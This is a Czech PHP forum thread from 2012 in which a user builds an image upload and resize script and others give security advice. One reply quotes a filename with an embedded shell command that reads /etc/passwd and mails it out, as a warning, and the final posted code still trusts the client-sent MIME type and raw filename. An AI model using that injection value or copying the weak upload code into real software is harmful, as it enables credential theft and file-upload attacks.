Registrace nového uživatele     Návod     Kluby     Archív  Lopuchu     Lopuch.cz  

Náš Lopuch Vám
vytře zrak

Lopuch.cz

Jméno:
Heslo:
Podpora LCD:
 
Klub PHP [ŽP: neomezená] (kategorie Programování) moderuje makovec.
Archiv
Diskuse o vybornem skriptovacim jazyku php. Dulezite odkazy, pred polozenim dotazu zkuste hledat odpoved zde:
  1. www.php.net - domovská stránka PHP
  2. www.kosek.cz - spousta tutorialu pro PHP v češtině
  Nastavení klubu     Nastavení práv     Homepage     Anketa     Přítomní     Oblíbené     Lopuch     Kategorie  
autor: 
text: 
vyplnit a 
Help
 Titulek, text příspěvku  
Opište pozpátku následující text bez prostředního znaku: duorzma
[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 21.5.2012 13:37  3258
takto mi to funguje

<?php
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
$soubor_name_path_thumbs = "images/thumbs/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}

$width = 720;
$height = 720;
$width_thumbs = 150;
$height_thumbs = 150;

list($width_orig, $height_orig) = getimagesize($soubor_name_path);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
$width = $height*$ratio_orig;
} else {
$height = $width/$ratio_orig;
}

if ($width_thumbs/$height_thumbs > $ratio_orig) {
$width_thumbs = $height_thumbs*$ratio_orig;
} else {
$height_thumbs = $width_thumbs/$ratio_orig;
}


// Změna velikosti obrázku - Resample
$image_p = imagecreatetruecolor($width, $height);
$image_t = imagecreatetruecolor($width_thumbs, $height_thumbs);
$image = imagecreatefromjpeg($soubor_name_path);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
imagecopyresampled($image_t, $image, 0, 0, 0, 0, $width_thumbs, $height_thumbs, $width_orig, $height_orig);

// Výstup - Output
imagejpeg($image_p, $soubor_name_path, 98);
imagejpeg($image_t, $soubor_name_path_thumbs, 98);
imagedestroy($image_p);
imagedestroy($image_t);

//******************

konec:


******************************************************************
patrně tam bude něco navíc, zbytečné a možná i něco chybět, ale nyní to dělá to co to má dělat ....

huh [3253]:

tohle ještě zkusím zapracovat
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 20.5.2012 11:02  3257
huh [3256]:
dík
zkusím to
huh huh 20.5.2012 10:32  3256
Klasika je použít GD. Skoro určitě povolený bude. Nezapomeň, aby PHP mělo právo zápisu do adresáře, kam budeš výsledky ukládat.
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 20.5.2012 09:38  3255
prosba o radupotřeboval bych, aby se uploadovaný soubor (po otestování, že se jedná o jpg, png či gif) nějakou funkcí v PHP automaticky zmenšil (zvětšil) na daný rozměr (počítám cca 720px širší strana) zkomprimoval například s kvalitou 84% a uložil do vybrané složky
Co byste na to doporučili a jaké jsou podmínky pro správnou funci na daném webhostingu.
Děkuji
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 12.5.2012 16:53  3254
huh [3253]:
dík za poznámky

jinak, určení bude jako osobní administrace galerie obrázků/fotografií. Takže popsílat data tam bude jen administrátor.
Běžný user bude jen prohlížet
huh huh 12.5.2012 14:33  3253
ja bych:
1) ze jmena souboru bez pripony vyhazel cokoli krome [a-zA-Z-_]+
2) podle neceho jako exif_imagetype urcil typ a bud pridal odpovidajici priponu nebo ho zahodil (nepodporovane typy)
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 12:46  3252
napsal jsem to tedy nakonec takto:
$rnd = rand (11111,99999).'__';

if(isset($_FILES["soubor"]["tmp_name"])){
if(isset($_FILES["soubor"]["size"])){
echo '<br>Velikost souboru: '.$_FILES["soubor"]["size"];
if($_FILES["soubor"]["size"] > "600000") {
echo '<br>Velikost souboru je větší než povolený limit (600000).'; goto konec;}}

if(($_FILES["soubor"]["type"] == "image/jpeg")
or ($_FILES["soubor"]["type"] == "image/png")
or ($_FILES["soubor"]["type"] == "image/gif"))
{

$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_path = "images/large/$rnd$soubor_name";
move_uploaded_file($tmpName, $soubor_name_path);
echo '<br>Obrázek '.$soubor_name.' nahrán pod názvem: '.$rnd.$soubor_name.'<br>';
}
else{echo '<br>Nepodporovaný typ souboru!<br>'; goto konec; }
}


themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:38  3251
(Dnešní implementace všeho možného by už snad s tímhle problémy mít neměly, ale proč to nechávat na náhodě...)
themajkl themajkl All those moments will be lost in time - like tears in rain. 11.5.2012 09:37  3250
IMHO abys předešel případným následkům názvů typu
`cat /etc/passwd | mailx hajzlik@nasiti`.jpg
puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 09:34  3249
makovec [3248]:
dík
doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

proč?

Přejmenovat je mohu, resp, přiřadit třeba šestimístný kód z náhodných čísel, aby se zabránilo přepsání souborů stejných názvů ...

Je nějaký jiný důvod tohoto doporučení?
makovec makovec Chuck Norris snědl jídlo od Babicy - a ještě si přidal 11.5.2012 09:27  3248
urcite si tam hlidej jednak aby prochazely jen obrazky, dal si tam prihod jen seznam povolenych koncovek a aby se ti nedalo podstrcit neco co konci .jpg.php. plus bych doporucoval ty obrazky pri uploadu prejmenovat (resp k nim priradit nejaky retezec)

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 11.5.2012 09:04  3247
upload souborů
uploaduji obrázky pomocí formuláře a html/php:



<form enctype="multipart/form-data" action="[[~[[*id]]]]" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="300000" />
<input name="soubor" type="file" />
<input type="submit" value="Send File" />
</form>

<?php
$tmpName = $_FILES["soubor"]["tmp_name"];
$soubor_name = $_FILES["soubor"]["name"];
$soubor_name_p = "images/$soubor_name";
move_uploaded_file($tmpName, $soubor_name_p);
?>



kód funguje
není tam podle vás nějaká zásadní chyba? (třeba z hlediska zabezpečení ...)
se svýma znalostma programování si samozřejmě nemohu nic takového uvědomovat ...

Děkuji.

P.S.: bude se jednat pouze o upload obrázků (jpg, png, gif) a do max. velikosti cca 300kB
jak tam dát nějaký filtr?
hippotame 7.5.2012 13:39  3246
Takze fakt jen toto ?
session_start ();
$defX = 4;
$defY = 3;
$_SESSION ['tab_x'] = ( isset ( $_POST ['gal_tab_x'] ) ? $_POST ['gal_tab_x'] : ( ! empty ( $_SESSION ['tab_x'] ) ? $_SESSION ['tab_x'] : $defX ) );
$_SESSION ['tab_y'] = ( isset ( $_POST ['gal_tab_y'] ) ? $_POST ['gal_tab_y'] : ( ! empty ( $_SESSION ['tab_y'] ) ? $_SESSION ['tab_y'] : $defY ) );

puschpull puschpull být nad věcí, pohoda a klid ... - AV-Com (Homepage) 7.5.2012 12:04  3245
knedle [3244]:
dík
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

tohle vím

rozhodl jsem se oba způsoby uchování hodnot vyzkoušet, abych si to "ošahal" v praxi

ad
session_register
zkusím to odebrat, co to udělá
já myslel že již není nutné
session_start();
knedle knedle online - Krabice živých 7.5.2012 11:59  3244
jen pro info: (zjednodušeně)
cookie je schopna si data zapamatovat i potom, co si vypnul prohlizec (pocitac)
session je omezena (maximálně) právě na běh prohlížeče

a mám ten pocit, že session_register není už dlouho třeba

[ 1845 ] <Novější  <<<Nejnovější  Nejstarší>>>  Starší>  

(c) 2001-2011 Lopuch.cz   
Kontakt